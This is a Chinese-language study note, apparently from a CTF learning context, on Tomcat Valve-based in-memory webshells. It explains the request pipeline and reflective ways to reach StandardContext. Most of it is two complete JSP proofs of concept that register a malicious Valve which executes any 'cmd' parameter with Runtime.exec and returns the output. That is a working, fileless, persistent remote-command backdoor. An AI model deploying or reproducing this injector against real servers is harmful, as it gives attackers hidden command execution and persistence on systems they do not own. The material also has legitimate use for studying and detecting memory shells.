valve型内存马
参考value内存马 - Java反序列化 - CTF知识点 | mikufans = (viewofthai.link)
pipeline调用链
基础知识
tomcat的adapter到container之间,有个pipeline调用链,
比如在 StandardHostValve 类中是这样调用 vavle 的 invoke() 方法的(直接全局搜索进去看)
看下context
所以invoke是获取StandardContext的valve
然后再每一个invoke()里面又会递归调用
getNext().invoke(request, response); // 获取 StandardContext 的下一个 Valve
所以只要在StandardContext中添加我们的valve,即可注入Valve内存马。
standardContext.getPipeline().addValve(valve);
StandardContext
稍微介绍下StandardContext
StandardContext是Conetxt的实现类,涵盖了Web Application的启动流程,包括使用WebResourceRoot加载资源文件,利用Load加载class,使用JarScanner扫描,实例化Session管理器,初始化各种Listener,Filter和Servlet等功能
内存马都是基于修改StandardContext实现的,所以如何获取StandardContext也是各种内存马的实现重点之一
从request对象获取
从request对象反射出ApplicationContext,再反射出StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
从 ThreadLocal 中获取 request
适用于 Tomcat 7、8、9
参考 https://xz.aliyun.com/t/7388
从 ContextClassLoader 中获取
Tomcat 8、9
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
遍历 thread 数组
filter内存马2
遍历 thread 数组获取包含 StandardContext 的类,其中:
-
Acceptor 为全版本 tomcat 都有
-
Tomcat 6、7、8、9 参考 https://xz.aliyun.com/t/9914 下面方法就能够拿到 /manager 下的 StandardContext
poc
思路是
获取StandardContext+自己写一个恶意的valve(实现valve接口)+调用它
我的
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.DOM" %>
<%@ page import="com.sun.org.apache.xml.internal.serializer.SerializationHandler" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.TransletException" %>
<%@ page import="com.sun.org.apache.xml.internal.dtm.DTMAxisIterator" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %><%--
Created by IntelliJ IDEA.
User: thai
Date: 2022/4/20
Time: 10:51
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Valve valve1 = new Valve()
{
@Override
public void invoke(Request request, Response response) throws IOException, ServletException
{
String cmd = request.getParameter("cmd");
if (cmd != null)
{
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null)
{
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
return;
}
this.getNext().invoke(request, response);
}
@Override
public boolean isAsyncSupported()
{
return false;
}
@Override
public Valve getNext()
{
return null;
}
@Override
public void setNext(Valve valve)
{
}
@Override
public void backgroundProcess()
{
}
};
standardContext.getPipeline().addValve(valve1);
response.getWriter().write("success");
%>
也可以参考miku师傅的
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>AddVavle</title>
</head>
<body>
<%
try {
// 从 ServletContext 中反射获取 ApplicationContext 和 StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Valve valve = new Valve() {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
HttpServletRequest req = request;
String cmd = req.getParameter("cmd");
if (cmd != null) {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
}
this.getNext().invoke(request, response);
}
@Override
public boolean isAsyncSupported() { return false; }
@Override
public Valve getNext() { return null; }
@Override
public void setNext(Valve valve) {}
@Override
public void backgroundProcess() {}
};
standardContext.getPipeline().addValve(valve);
response.getWriter().write("Success");
} catch (Exception e) {
e.printStackTrace();
}
%>
</body>
</html>